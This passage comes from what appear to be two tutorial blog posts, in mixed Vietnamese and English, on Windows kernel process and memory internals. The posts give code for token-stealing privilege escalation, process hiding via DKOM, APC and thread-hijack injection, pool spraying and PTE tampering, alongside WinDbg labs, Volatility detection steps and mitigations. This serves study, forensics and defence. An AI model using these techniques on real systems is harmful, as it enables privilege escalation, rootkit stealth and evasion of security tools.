PLIST_ENTRY pHead = pListEntry;

do {
    PEPROCESS pProcess = (PEPROCESS)((PUCHAR)pListEntry - ACTIVEPROCESSLINKS_OFFSET);
    HANDLE pid = PsGetProcessId(pProcess);

    if ((ULONG_PTR)pid == 4) {
        pSystemProcess = pProcess;
        break;
    }

    pListEntry = pListEntry->Flink;
} while (pListEntry != pHead);

Step 2: Get SYSTEM token

// EPROCESS.Token là một EX_FAST_REF structure
// Lower 4 bits là ref count, cần mask out

PVOID pSystemToken = *(PVOID*)((PUCHAR)pSystemProcess + TOKEN_OFFSET);
pSystemToken = (PVOID)((ULONG_PTR)pSystemToken & ~0xF); // Clear lower 4 bits

Step 3: Replace current process token

PEPROCESS pCurrentProcess = PsGetCurrentProcess();
PVOID* pCurrentTokenPtr = (PVOID*)((PUCHAR)pCurrentProcess + TOKEN_OFFSET);

// Save old token (optional, for cleanup)
PVOID pOldToken = *pCurrentTokenPtr;

// Steal SYSTEM token
*pCurrentTokenPtr = pSystemToken;

// Current process giờ có SYSTEM privileges!

Technique 2: Token Manipulation via PsReferencePrimaryToken

Cách sạch hơn sử dụng documented APIs:

PACCESS_TOKEN pSystemToken = PsReferencePrimaryToken(pSystemProcess);
PACCESS_TOKEN pOldToken = PsReferencePrimaryToken(PsGetCurrentProcess());

// Replace token
PsDereferencePrimaryToken(pOldToken);
SeSetTokenForProcess(PsGetCurrentProcess(), pSystemToken);
PsDereferenceImpersonationToken(pSystemToken);

Token Stealing Shellcode Example

Minimal shellcode cho token stealing:

// Find SYSTEM EPROCESS
ULONG_PTR current = (ULONG_PTR)PsGetCurrentProcess();
ULONG_PTR system = current;

while (1) {
    PLIST_ENTRY list = (PLIST_ENTRY)(system + 0x448); // ActiveProcessLinks offset
    system = (ULONG_PTR)list->Flink - 0x448;

    HANDLE pid = *(HANDLE*)(system + 0x440); // UniqueProcessId offset
    if ((ULONG_PTR)pid == 4) break; // Found SYSTEM
}

// Steal token
ULONG_PTR systemToken = *(ULONG_PTR*)(system + 0x4B8); // Token offset
systemToken &= ~0xF; // Clear ref count bits

ULONG_PTR* currentToken = (ULONG_PTR*)(current + 0x4B8);
*currentToken = systemToken;

Note: Offsets (0x448, 0x440, 0x4B8) vary by Windows version. Production exploits phải dynamically resolve offsets hoặc use pattern matching.

DKOM (Direct Kernel Object Manipulation)

DKOM techniques directly manipulate kernel structures để achieve goals như hiding processes, elevating privileges, etc.

Technique 1: Process Hiding - Unlinking từ ActiveProcessLinks

Concept: Remove process từ PsActiveProcessHead doubly-linked list.

// Get current process
PEPROCESS pProcess = PsGetCurrentProcess();

// Get ActiveProcessLinks offset
PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PUCHAR)pProcess + ACTIVEPROCESSLINKS_OFFSET);

// Unlink from list
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;

// Point to self (optional, avoid crashes)
pListEntry->Flink = pListEntry;
pListEntry->Blink = pListEntry;

Result: Process hidden từ:

Task Manager
Process Explorer
PsGetProcessList()
Most user-mode enumeration tools

Still visible trong:

Handle tables
Threads still scheduled
Memory forensics tools
Advanced detection (kernel callbacks)

Technique 2: Zero Out ImageFileName

Simple technique để obfuscate process name:

PEPROCESS pProcess = PsGetCurrentProcess();
PUCHAR pImageFileName = (PUCHAR)pProcess + IMAGEFILENAME_OFFSET;

// Overwrite with spaces or nulls
RtlZeroMemory(pImageFileName, 15);
// Or
memset(pImageFileName, ' ', 15);

Technique 3: Modify Token Privileges

Enable tất cả privileges trong token:

typedef struct _SEP_TOKEN_PRIVILEGES {
    ULONG64 Present;    // Bitmap of present privileges
    ULONG64 Enabled;    // Bitmap of enabled privileges
    ULONG64 EnabledByDefault; // Bitmap of default enabled
} SEP_TOKEN_PRIVILEGES;

// Get token từ EPROCESS
PVOID pToken = *(PVOID*)((PUCHAR)pProcess + TOKEN_OFFSET);
pToken = (PVOID)((ULONG_PTR)pToken & ~0xF);

// Offset của Privileges structure trong TOKEN
SEP_TOKEN_PRIVILEGES* pPrivileges = (SEP_TOKEN_PRIVILEGES*)((PUCHAR)pToken + PRIVILEGES_OFFSET);

// Enable all privileges
pPrivileges->Enabled = pPrivileges->Present;

Thread Injection & Manipulation

Technique 1: APC (Asynchronous Procedure Call) Injection

Inject code vào target thread qua user-mode APC:

// Allocate memory trong target process
PVOID pRemoteCode = NULL;
SIZE_T codeSize = sizeof(shellcode);

ZwAllocateVirtualMemory(
    hTargetProcess,
    &pRemoteCode,
    0,
    &codeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

// Write shellcode
ZwWriteVirtualMemory(
    hTargetProcess,
    pRemoteCode,
    shellcode,
    sizeof(shellcode),
    NULL
);

// Queue user-mode APC
PETHREAD pThread = ...; // Get target thread
KeInitializeApc(
    &apc,
    pThread,
    OriginalApcEnvironment,
    KernelRoutine,
    RundownRoutine,
    NormalRoutine,      // Points to shellcode
    UserMode,
    NormalContext
);

KeInsertQueueApc(&apc, NULL, NULL, IO_NO_INCREMENT);

Technique 2: Thread Context Manipulation

Hijack existing thread bằng cách modify context:

PETHREAD pThread = ...; // Target thread
PKTRAP_FRAME pTrapFrame = (PKTRAP_FRAME)((PUCHAR)pThread + TRAPFRAME_OFFSET);

// Suspend thread
PsSuspendThread(pThread, NULL);

// Modify RIP to point to shellcode
pTrapFrame->Rip = (ULONG64)shellcodeAddress;

// Modify stack pointer if needed
pTrapFrame->Rsp = newStackPointer;

// Resume thread
PsResumeThread(pThread, NULL);

Lab Exercises với WinDbg

Exercise 1: Enumerate Processes

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS fffffa8000000000
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001a7000  ObjectTable: fffff8a000001000  HandleCount: 1234.
    Image: System

PROCESS fffffa8012345678
    SessionId: 1  Cid: 1a2c    Peb: 7fffffde000  ParentCid: 09b4
    DirBase: 6d8a9000  ObjectTable: fffff8a001234567  HandleCount: 234.
    Image: explorer.exe

Exercise 2: Examine EPROCESS Structure

kd> !process explorer.exe
PROCESS fffffa8012345678
    SessionId: 1  Cid: 1a2c    Peb: 7fffffde000  ParentCid: 09b4
    ...

kd> dt nt!_EPROCESS fffffa8012345678
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00001a2c  // PID
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x4b8 Token            : _EX_FAST_REF
   +0x5a8 ImageFileName    : [15]  "explorer.exe"

kd> dx -r1 ((nt!_EPROCESS *)0xfffffa8012345678)

Exercise 3: Token Analysis

kd> !token fffffa8012345678
Token: fffff8a001234567
User: S-1-5-21-123456-789-1011-1000 (DESKTOP-ABC\User)
Groups:
 S-1-5-21-123456-789-1011-513 (DESKTOP-ABC\None)
 S-1-5-32-545 (BUILTIN\Users)
 S-1-1-0 (Everyone)
Privs:
 0x000000013 SeShutdownPrivilege           Attributes - Enabled
 0x000000017 SeChangeNotifyPrivilege       Attributes - Enabled Default

Exercise 4: Find Token Offset Dynamically

kd> r $t0 = poi(nt!PsInitialSystemProcess)

kd> ? $t0
Evaluate expression: -8796090842232 = fffffa8000000000

kd> dt nt!_EPROCESS $t0 Token
   +0x4b8 Token : _EX_FAST_REF

kd> ? 0x4b8
Evaluate expression: 1208 = 00000000`000004b8

Detection & Forensics

Detecting DKOM Techniques

Method 1: Cross-validate với PspCidTable

# Process list từ ActiveProcessLinks
!process 0 0

# Process list từ Handle table
!handle 0 f Process

# Compare lists - missing entries = hidden processes

Method 2: Scan memory cho EPROCESS tags

kd> s -d 0 L?0xffffffffffffffff 0x50636f72  # 'Proc' pool tag

Method 3: Check process callbacks

kd> !filecache

kd> dt nt!_OBJECT_TYPE *(poi(nt!PsProcessType))

Memory Forensics với Volatility

# List processes
volatility -f memory.dmp --profile=Win10x64 pslist

# Find hidden processes
volatility -f memory.dmp --profile=Win10x64 psscan

# Check for unlinked processes
volatility -f memory.dmp --profile=Win10x64 psxview

# Dump process token
volatility -f memory.dmp --profile=Win10x64 getsids -p 1234

Modern Mitigations

Protected Processes (PP) & PPL

Protected Process Light (PPL):

Introduced trong Windows 8.1
Prevents tampering từ non-protected processes
Even Administrator cannot debug/inject

Protection Levels:

typedef enum _PS_PROTECTED_TYPE {
    PsProtectedTypeNone = 0,
    PsProtectedTypeProtectedLight = 1,
    PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE;

typedef enum _PS_PROTECTED_SIGNER {
    PsProtectedSignerNone = 0,
    PsProtectedSignerAuthenticode,
    PsProtectedSignerCodeGen,
    PsProtectedSignerAntimalware,
    PsProtectedSignerLsa,
    PsProtectedSignerWindows,
    PsProtectedSignerWinTcb,
    PsProtectedSignerMax
} PS_PROTECTED_SIGNER;

Bypass: Kernel-mode code có thể still manipulate, nhưng requires disabling PatchGuard.

Process/Thread Callbacks

Windows allows registration của callbacks cho process/thread events:

// Register process callback
PsSetCreateProcessNotifyRoutineEx(
    ProcessNotifyCallback,
    FALSE  // Remove = FALSE (add callback)
);

VOID ProcessNotifyCallback(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
) {
    if (CreateInfo != NULL) {
        // Process being created
        DbgPrint("Process created: %wZ\n", CreateInfo->ImageFileName);
    } else {
        // Process exiting
        DbgPrint("Process exiting: PID %d\n", ProcessId);
    }
}

Security Use: EDR/AV drivers register callbacks để monitor suspicious activity.

Evasion: Kernel rootkits có thể unregister callbacks hoặc patch callback array.

Wrapup

Understanding Windows process và thread internals - từ EPROCESS/ETHREAD structures đến token manipulation và DKOM techniques - là absolutely critical cho kernel exploitation và rootkit development.

Key takeaways:

EPROCESS/ETHREAD structures chứa tất cả process/thread metadata
Token stealing là classic privilege escalation method
DKOM techniques allow process hiding và object manipulation
ActiveProcessLinks unlinking hides processes từ standard enumeration
Thread injection enables code execution trong target processes
Modern mitigations như PPL và callbacks make exploitation harder

Knowledge này forms foundation cho advanced Windows exploitation, rootkit development, và memory forensics.

References

Books:

Windows Internals, Part 1 (Chapters 3-4: Processes & Threads) - Russinovich, Solomon, Ionescu
Rootkits: Subverting the Windows Kernel - Greg Hoglund, James Butler
The Rootkit Arsenal - Bill Blunden

Papers:

"Token Kidnapping" - Cesar Cerrudo
"DKOM (Direct Kernel Object Manipulation)" - Jamie Butler, Greg Hoglund
"Bypassing Windows Kernel Security Mitigations" - Multiple authors

Tools:

Process Hacker - Advanced process viewer
System Informer - System exploration
Volatility - Memory forensics framework

<h2><strong style="color: red;">Control the process, own the system.</strong></h2>

Windows Memory Management Internals: Virtual Memory, Page Tables & Exploitation

Sun, 28 Sep 2025 00:00:00 GMT

Giới thiệu

Memory management là một trong những components phức tạp nhất của Windows kernel. Understanding memory internals không chỉ critical cho exploit development mà còn essential cho malware analysis, rootkit development, và vulnerability research.

Bài này deep dive vào Windows memory management architecture - từ virtual memory layout, page table structures, đến VAD trees và physical memory management. Chúng ta sẽ focus vào practical implications cho security research và exploitation.

Tại sao Memory Management quan trọng?

Đối với Exploit Development:

Understanding page tables → craft reliable exploits
VAD enumeration → find executable memory regions
Pool spraying → heap exploitation techniques
Memory corruption bugs thường liên quan đến memory management

Đối với Malware/Rootkit Development:

Hiding memory regions
Manipulating VAD structures
Pool tags để avoid detection
Direct physical memory access

Đối với Vulnerability Research:

Memory corruption vulnerabilities
Use-after-free conditions
Pool overflow bugs
Type confusion trong kernel objects

Virtual Memory Architecture

Windows sử dụng virtual memory system để provide mỗi process một isolated address space. Trên x64 Windows, address space được chia làm hai phần:

┌─────────────────────────────────────────────────────┐
│         64-bit Address Space (x64)                  │
├─────────────────────────────────────────────────────┤
│                                                     │
│  User Space (Ring 3)                                │
│  0x0000000000000000 - 0x00007FFFFFFFFFFF            │
│  Size: 128 TB                                       │
│                                                     │
│  ┌────────────────────────────────────────────┐    │
│  │  Process Private Memory                    │    │
│  │  - Executable Image (PE)                   │    │
│  │  - DLLs                                    │    │
│  │  - Heap                                    │    │
│  │  - Stack                                   │    │
│  │  - Thread Stacks                          │    │
│  └────────────────────────────────────────────┘    │
│                                                     │
├═════════════════════════════════════════════════════┤
│         Non-canonical Address Space                 │
│  0x0000800000000000 - 0xFFFF7FFFFFFFFFFF            │
│  (Invalid - causes access violation)                │
├═════════════════════════════════════════════════════┤
│                                                     │
│  Kernel Space (Ring 0)                              │
│  0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF            │
│  Size: 128 TB                                       │
│                                                     │
│  ┌────────────────────────────────────────────┐    │
│  │  System Memory                             │    │
│  │  - Kernel Image (ntoskrnl.exe)            │    │
│  │  - HAL (hal.dll)                          │    │
│  │  - Drivers (*.sys)                        │    │
│  │  - Paged Pool                             │    │
│  │  - Non-Paged Pool                         │    │
│  │  - System Cache                           │    │
│  │  - PFN Database                           │    │
│  └────────────────────────────────────────────┘    │
│                                                     │
└─────────────────────────────────────────────────────┘

Key Regions trong Kernel Space

System PTEs (Page Table Entries):

Virtual addresses cho mapping I/O space
Dynamic mapping của physical memory
Used bởi drivers cho DMA operations

Paged Pool:

Pageable kernel memory
Có thể được paged out vào disk
Used cho less critical allocations
Size: ~300 MB - 600 MB (tuỳ RAM)

Non-Paged Pool:

Always resident trong RAM
Cannot be paged out
Used cho critical kernel structures (spinlocks, DPCs, etc.)
Size: ~75 MB - 300 MB

PFN Database:

Tracks tất cả physical memory pages
One entry per physical page
Size depends on RAM amount
Critical cho memory management operations

Note: Trên Windows 10+, memory compression được enabled by default. Thay vì page memory ra disk, Windows compress pages trong RAM để save space. Điều này làm thay đổi behavior của paging và có implications cho memory forensics.

Page Table Structure (4-Level Paging)

Windows x64 sử dụng 4-level page table hierarchy để translate virtual addresses sang physical addresses. Understanding structure này là essential cho memory exploitation.

4-Level Paging Hierarchy

Virtual Address (64-bit)
┌──────┬──────┬──────┬──────┬──────────────┐
│ Sign │ PML4 │ PDPT │  PD  │  PT  │ Offset│
│ Ext  │Index │Index │Index │Index │       │
├──────┼──────┼──────┼──────┼──────┼───────┤
│16 bit│ 9bit │ 9bit │ 9bit │ 9bit │12 bit │
└──────┴──────┴──────┴──────┴──────┴───────┘
  63-48  47-39  38-30  29-21  20-12   11-0

Translation Process:
┌─────────────────────────────────────────────┐
│  CR3 Register (Physical Address)            │
│  Points to PML4 Table                       │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PML4 (Page Map Level 4)                    │
│  512 entries (PML4E)                        │
│  Each entry covers 512 GB                   │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PDPT (Page Directory Pointer Table)        │
│  512 entries (PDPTE)                        │
│  Each entry covers 1 GB                     │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PD (Page Directory)                        │
│  512 entries (PDE)                          │
│  Each entry covers 2 MB                     │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  PT (Page Table)                            │
│  512 entries (PTE)                          │
│  Each entry covers 4 KB                     │
└─────────────────┬───────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────┐
│  Physical Page (4 KB)                       │
│  Actual data location trong RAM             │
└─────────────────────────────────────────────┘

Page Table Entry (PTE) Structure

Mỗi PTE là 64-bit value chứa thông tin về page:

typedef struct _MMPTE_HARDWARE {
    ULONGLONG Valid              : 1;   // Bit 0:  Page is present
    ULONGLONG Write              : 1;   // Bit 1:  Page is writable
    ULONGLONG Owner              : 1;   // Bit 2:  User/Supervisor (0=kernel, 1=user)
    ULONGLONG WriteThrough       : 1;   // Bit 3:  Write-through caching
    ULONGLONG CacheDisable       : 1;   // Bit 4:  Cache disabled
    ULONGLONG Accessed           : 1;   // Bit 5:  Page has been accessed
    ULONGLONG Dirty              : 1;   // Bit 6:  Page has been written to
    ULONGLONG LargePage          : 1;   // Bit 7:  Large page (2MB/1GB)
    ULONGLONG Global             : 1;   // Bit 8:  Global page (TLB)
    ULONGLONG CopyOnWrite        : 1;   // Bit 9:  Copy-on-write
    ULONGLONG Prototype          : 1;   // Bit 10: Prototype PTE
    ULONGLONG Reserved           : 1;   // Bit 11: Reserved
    ULONGLONG PageFrameNumber    : 36;  // Bits 12-47: Physical page number
    ULONGLONG Reserved1          : 4;   // Bits 48-51: Reserved
    ULONGLONG SoftwareWsIndex    : 11;  // Bits 52-62: Software field
    ULONGLONG NoExecute          : 1;   // Bit 63: NX bit (No Execute)
} MMPTE_HARDWARE, *PMMPTE_HARDWARE;

Important PTE Bits cho Security

Valid Bit (Bit 0):

0 = Page not present trong RAM (page fault khi access)
1 = Page is present

Write Bit (Bit 1):

0 = Read-only page
1 = Writable page
Exploits thường target việc flip bit này

Owner Bit (Bit 2):

0 = Supervisor (kernel mode only)
1 = User (accessible from user mode)
SMEP enforces execution restrictions dựa trên bit này

NoExecute Bit (Bit 63):

0 = Executable page
1 = Non-executable (NX/DEP enabled)
DEP dựa vào bit này để prevent code execution

Virtual Address Translation Example

Hãy walk through một virtual address translation manually:

Example: Translate `0xFFFFF80012345678`

Step 1: Parse virtual address

Address: 0xFFFFF80012345678

Binary:
1111 1111 1111 1111 1111 1000 0000 0000 0001 0010 0011 0100 0101 0110 0111 1000

Parse:
Sign Extension: 1111 1111 1111 1111 (bits 63-48)
PML4 Index:     1 1111 1000 (0x1F8 = 504)
PDPT Index:     0 0000 0000 (0x000 = 0)
PD Index:       0 0000 0010 (0x002 = 2)
PT Index:       0 1001 1010 (0x09A = 154)
Offset:         0101 0110 0111 1000 (0x578)

Step 2: Walk page tables

1. Read CR3 → PML4 base address: 0x1A5000

2. PML4[504] lookup:
   Address = 0x1A5000 + (504 * 8) = 0x1A5FC0
   Read PML4E → PDPT base: 0x2B6000

3. PDPT[0] lookup:
   Address = 0x2B6000 + (0 * 8) = 0x2B6000
   Read PDPTE → PD base: 0x3C7000

4. PD[2] lookup:
   Address = 0x3C7000 + (2 * 8) = 0x3C7010
   Read PDE → PT base: 0x4D8000

5. PT[154] lookup:
   Address = 0x4D8000 + (154 * 8) = 0x4D84D0
   Read PTE → Physical page: 0x5E9000

6. Final physical address:
   Physical = 0x5E9000 + 0x578 = 0x5E9578

Step 3: Examine PTE bits

PTE Value: 0x0000000005E9867
Binary:   0000 ... 0101 1110 1001 1000 0110 0111

Bits:
- Valid:     1 (page present)
- Write:     1 (writable)
- Owner:     1 (user accessible)
- Accessed:  1 (has been accessed)
- Dirty:     0 (not modified)
- NX:        0 (executable)

VAD (Virtual Address Descriptor) Trees

VAD trees track tất cả virtual memory allocations trong một process. Mỗi process có một VAD tree trong EPROCESS structure.

VAD Structure

typedef struct _MMVAD {
    union {
        LONG_PTR Balance : 2;           // AVL tree balance
        struct _MMVAD *Parent;
    };
    struct _MMVAD *LeftChild;
    struct _MMVAD *RightChild;

    ULONG_PTR StartingVpn;              // Starting virtual page number
    ULONG_PTR EndingVpn;                // Ending virtual page number

    union {
        ULONG LongFlags;
        struct {
            ULONG CommitCharge    : 19; // Pages committed
            ULONG MemCommit       : 1;  // Memory is committed
            ULONG Protection      : 5;  // Page protection
            ULONG NoChange        : 1;  // Cannot change protection
            ULONG PrivateMemory   : 1;  // Private memory
            // ... more flags
        };
    } u;

    PCONTROL_AREA ControlArea;          // Points to file mapping
    PVOID FirstPrototypePte;            // First prototype PTE
    PVOID LastContiguousPte;            // Last contiguous PTE
} MMVAD, *PMMVAD;

VAD Tree trong EPROCESS

typedef struct _EPROCESS {
    // ... other fields

    PMM_AVL_TABLE VadRoot;              // Root của VAD tree

    // ... more fields
} EPROCESS, *PEPROCESS;

Enumerating VADs với WinDbg

List tất cả VADs của một process:

kd> !process 0 0 notepad.exe
PROCESS fffffa8012345678
    SessionId: 1  Cid: 1234    Peb: 7fffffde000  ParentCid: 5678
    DirBase: 1a5000  ObjectTable: fffff8a001234567  HandleCount: 234.
    Image: notepad.exe

kd> !vad fffffa8012345678
VAD     Level      Start          End          Commit
fffff6fb40123456  0   7ff7e0d0000  7ff7e0e0000      3 Private      READWRITE
fffff6fb40234567  1   7ff7e0e0000  7ff7e0f0000      5 Private      EXECUTE_READWRITE
fffff6fb40345678  2   7ff7e100000  7ff7e200000     16 Mapped       READONLY
...

View detailed VAD info:

kd> dt nt!_MMVAD fffff6fb40123456
   +0x000 Core             : _MMVAD_SHORT
   +0x040 u2               : _MMVAD_FLAGS2
   +0x044 Subsection       : 0xfffff6fb`40123400
   +0x04c FirstPrototypePte : 0xfffff6fb`40123500
   +0x054 LastContiguousPte : 0xfffff6fb`40123600

Protection Flags trong VAD

VAD tracks page protection cho mỗi memory region:

Value	Protection	Description
0x01	PAGE_NOACCESS	No access
0x02	PAGE_READONLY	Read only
0x04	PAGE_READWRITE	Read/Write
0x08	PAGE_WRITECOPY	Copy-on-write
0x10	PAGE_EXECUTE	Execute only
0x20	PAGE_EXECUTE_READ	Execute/Read
0x40	PAGE_EXECUTE_READWRITE	Execute/Read/Write
0x80	PAGE_EXECUTE_WRITECOPY	Execute + COW

Physical Memory Management (PFN Database)

PFN (Page Frame Number) Database là một large array tracking tất cả physical memory pages trong system.

PFN Structure

typedef struct _MMPFN {
    union {
        PFN_NUMBER Flink;               // Forward link
        ULONG WsIndex;                  // Working set index
        PVOID VolatileVadAddress;       // VAD address
    } u1;

    PMMPTE PteAddress;                  // PTE pointing to this page

    union {
        PFN_NUMBER Blink;               // Backward link
        ULONG ShareCount;               // Share count
    } u2;

    union {
        struct {
            USHORT ReferenceCount;      // Reference count
            MMPFNENTRY e1;
        };
        struct {
            USHORT ReferenceCount;
            USHORT ShortFlags;
        };
        struct {
            USHORT ReferenceCount;
            UCHAR PageLocation   : 3;   // Active, Standby, Modified, etc.
            UCHAR WriteInProgress : 1;
            UCHAR Modified        : 1;
            UCHAR ReadInProgress  : 1;
            // ... more flags
        } u3;
    };

    ULONG_PTR OriginalPte;              // Original PTE contents

} MMPFN, *PMMPFN;

Page States

Physical pages có thể ở nhiều states khác nhau:

┌─────────────────────────────────────────────┐
│           Page State Transitions             │
├─────────────────────────────────────────────┤
│                                             │
│  Free List ──────────┐                     │
│       ▲              │                     │
│       │              ▼                     │
│       │         Zeroed List                │
│       │              │                     │
│       │              ▼                     │
│       │         Active (In Use)            │
│       │              │                     │
│       │              ▼                     │
│       │      ┌───► Modified List           │
│       │      │       │                     │
│       └──────┤       ▼                     │
│              └── Standby List              │
│                      │                     │
│                      ▼                     │
│              Modified-No-Write List        │
│                                             │
└─────────────────────────────────────────────┘

Page List Types:

Free List: Pages available cho allocation, có thể contain old data
Zeroed List: Pages đã được zeroed, ready for allocation
Active: Pages đang được used bởi processes
Modified: Pages có dirty data chưa written back
Standby: Pages có valid data nhưng can be repurposed
Modified-No-Write: Modified pages không thể write to disk

Viewing PFN Database với WinDbg

kd> !pfn 5e9
    PFN 000005E9 at address FFFFFA8000017248
    flink       000005EA  blink / share count 000005E8  pteaddress FFFFF6FB40001234
    reference count 0001    used entry count  0000       color 0
    restore pte 00000000  containing page 001234  Active     M
    Modified

Memory Pools (Paged vs Non-Paged)

Kernel allocates memory từ pools - pre-allocated regions cho dynamic allocations.

Pool Types

Paged Pool:

Có thể paged out to disk
Used cho non-critical allocations
Larger size available
Performance hit khi page faults occur

Non-Paged Pool:

Always resident trong RAM
Used cho critical structures (locks, DPCs, interrupt handling)
Limited size (exhaustion = BSOD)
Better performance (no page faults)

Pool Header Structure

typedef struct _POOL_HEADER {
    union {
        struct {
            USHORT PreviousSize : 9;    // Size of previous block
            USHORT PoolIndex    : 7;    // Pool index
            USHORT BlockSize    : 9;    // Size of this block
            USHORT PoolType     : 7;    // Pool type
        };
        ULONG Ulong1;
    };

    ULONG PoolTag;                       // 4-byte pool tag (e.g., 'File', 'Proc')

    union {
        PEPROCESS ProcessBilled;         // Process charged for allocation
        struct {
            USHORT AllocatorBackTraceIndex;
            USHORT PoolTagHash;
        };
    };
} POOL_HEADER, *PPOOL_HEADER;

Pool Tags

Pool tags là 4-character identifiers used để track allocations:

Common Pool Tags:
- 'File' - File objects
- 'Proc' - Process objects
- 'Thrd' - Thread objects
- 'IoPt' - I/O Pool Tag
- 'Even' - Event objects
- 'Sema' - Semaphore objects

Viewing Pools với WinDbg

List all pool allocations:

kd> !poolused
Sorting by  Tag

  Pool  Used      NonPaged            Paged
  Tag   Size      Allocs   Size      Allocs
-----------------------------------------------
 .ETW      0          0   1a2c480     2468  Event Tracing
  AfdE      0          0   b84aa0       467  AFD endpoint structures
  CM25 3a1a8c0     13437       0          0  Configuration Manager
  Cont  14e1e0         3   4c5c60       271  Device object containers
  File 1023480      3956  11d9200     12847  File objects

View pool with specific tag:

kd> !poolfind File
Scanning large pool allocation table for Tag: File (fffff80001234000 : fffff80002345000)

fffff80012345678 size:  240 previous size:    0  (Allocated) *File
fffff80012345900 size:  240 previous size:  240  (Allocated)  File
...

Examine pool header:

kd> dt nt!_POOL_HEADER fffff80012345678
   +0x000 PreviousSize     : 0y000000000 (0)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000100100 (0x24)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x004 PoolTag          : 0x656c6946 'File'

Practical Exploitation Techniques

1. Pool Spraying

Pool spraying là technique để control heap layout cho exploitation:

// Spray non-paged pool with controlled objects
for (int i = 0; i < 10000; i++) {
    HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    // Events allocated từ non-paged pool
    // Store handles để prevent deallocation
    eventHandles[i] = hEvent;
}

// Trigger vulnerability (use-after-free, overflow, etc.)
TriggerVulnerability();

// Freed object giờ surrounded bởi controlled Event objects
// Exploit có thể predict memory layout

Why This Works:

Pool allocator uses best-fit algorithm
Objects cùng size allocated gần nhau
Spraying tạo predictable layout
Useful cho heap feng shui

2. VAD Manipulation

Attackers có thể manipulate VAD structures để:

Hide Memory Regions:

// Unlink VAD entry từ tree
PMMVAD pVad = FindVadByAddress(targetAddress);
RemoveVadFromTree(pVad);
// Region giờ invisible cho tools enumerate memory

Change Memory Protection:

// Modify VAD protection flags
pVad->u.VadFlags.Protection = PAGE_EXECUTE_READWRITE;
// Memory region giờ executable without calling VirtualProtect

3. PTE Manipulation

Direct PTE manipulation là powerful technique:

// Find PTE cho một virtual address
PMMPTE pte = MiGetPteAddress(virtualAddress);

// Make read-only page writable
pte->u.Hard.Write = 1;

// Make non-executable page executable (disable NX)
pte->u.Hard.NoExecute = 0;

// Flush TLB để apply changes
__invlpg(virtualAddress);

Applications:

Bypass W^X policies
Patch kernel code pages (if HVCI disabled)
Modify driver .text sections
Hook kernel functions

4. Physical Memory Access

Với arbitrary read/write trong kernel, có thể access physical memory directly:

// Map physical memory vào kernel address space
PHYSICAL_ADDRESS physAddr;
physAddr.QuadPart = 0x1000;  // Physical address

PVOID mappedAddress = MmMapIoSpace(
    physAddr,
    PAGE_SIZE,
    MmNonCached
);

// Read/write physical memory
*(PULONG)mappedAddress = 0x90909090;  // NOP sled

MmUnmapIoSpace(mappedAddress, PAGE_SIZE);

Memory Mitigations

ASLR (Address Space Layout Randomization)

User Mode ASLR:

Randomizes base addresses của executables, DLLs, heaps, stacks
Makes exploitation harder (need info leaks)
Can be bypassed với memory leaks

Kernel ASLR (KASLR):

Randomizes kernel base address
Drivers cũng randomized
Info leaks critical cho kernel exploitation

DEP (Data Execution Prevention)

Based trên NX bit trong PTEs:

Stack non-executable by default
Heap non-executable
Data sections non-executable
Bypassed bằng ROP/JOP

SMEP (Supervisor Mode Execution Prevention)

Prevents kernel từ executing user-mode code:

Checked via PTE Owner bit
Makes kernel exploits harder
Bypass requires ROP trong kernel space hoặc disable SMEP

Control Flow Guard (CFG)

Protects indirect calls:

Validates call targets
Prevents control flow hijacking
Kernel variant: kCFG

Lab Exercises với WinDbg

Exercise 1: Walk Page Tables Manually

kd> r cr3
cr3=00000000001a5000

kd> !pte 0xFFFFF80012345678
                    VA fffff80012345678
PXE at FFFFF6FB7DBEDF80    PPE at FFFFF6FB7DBF0000    PDE at FFFFF6FB7E000048    PTE at FFFFF6FC00091A28
contains 000000001A5063    contains 000000002B6063    contains 000000003C7063    contains 0000000005E9867
pfn 1a5       ---DA--KWEV    pfn 2b6       ---DA--KWEV    pfn 3c7       ---DA--KWEV    pfn 5e9       -G-DA--KW-V

kd> !pfn 5e9
    PFN 000005E9 at address FFFFFA8000017248
    Active     M

Exercise 2: Find Executable Memory trong Process

kd> !process 0 0 calc.exe
PROCESS fffffa8012345678

kd> .process /p fffffa8012345678

kd> !vad
VAD            Start       End         Protection
fffff6fb40123456  7ff000000  7ff100000  EXECUTE_READ
fffff6fb40234567  7ff200000  7ff300000  EXECUTE_READWRITE

Exercise 3: Pool Feng Shui Analysis

kd> !poolused 2

kd> !poolfind Leak

kd> dt nt!_POOL_HEADER <address>

Wrapup

Windows memory management là một complex subsystem với nhiều layers: virtual memory abstraction, page table translations, VAD tracking, và physical memory management thông qua PFN database.

Understanding memory internals này critical cho:

Kernel exploitation: Manipulating PTEs, VADs, pool structures
Malware development: Hiding memory, direct physical access
Rootkit development: Memory stealth techniques
Vulnerability research: Identifying memory corruption bugs

Knowledge về page tables, VAD trees, và pool allocations là foundation cho advanced Windows exploitation techniques.

References

Books:

Windows Internals, Part 1 (Chapter 5: Memory Management) - Russinovich, Solomon, Ionescu
Windows Kernel Programming (Chapter 8: Memory) - Pavel Yosifovich
What Makes It Page? - Enrico Martignetti

Papers:

"Windows Kernel Pool Spraying" - Tarjei Mandt
"Exploiting the Windows Kernel" - mxatone
"Kernel Pool Exploitation on Windows 7" - Mandt

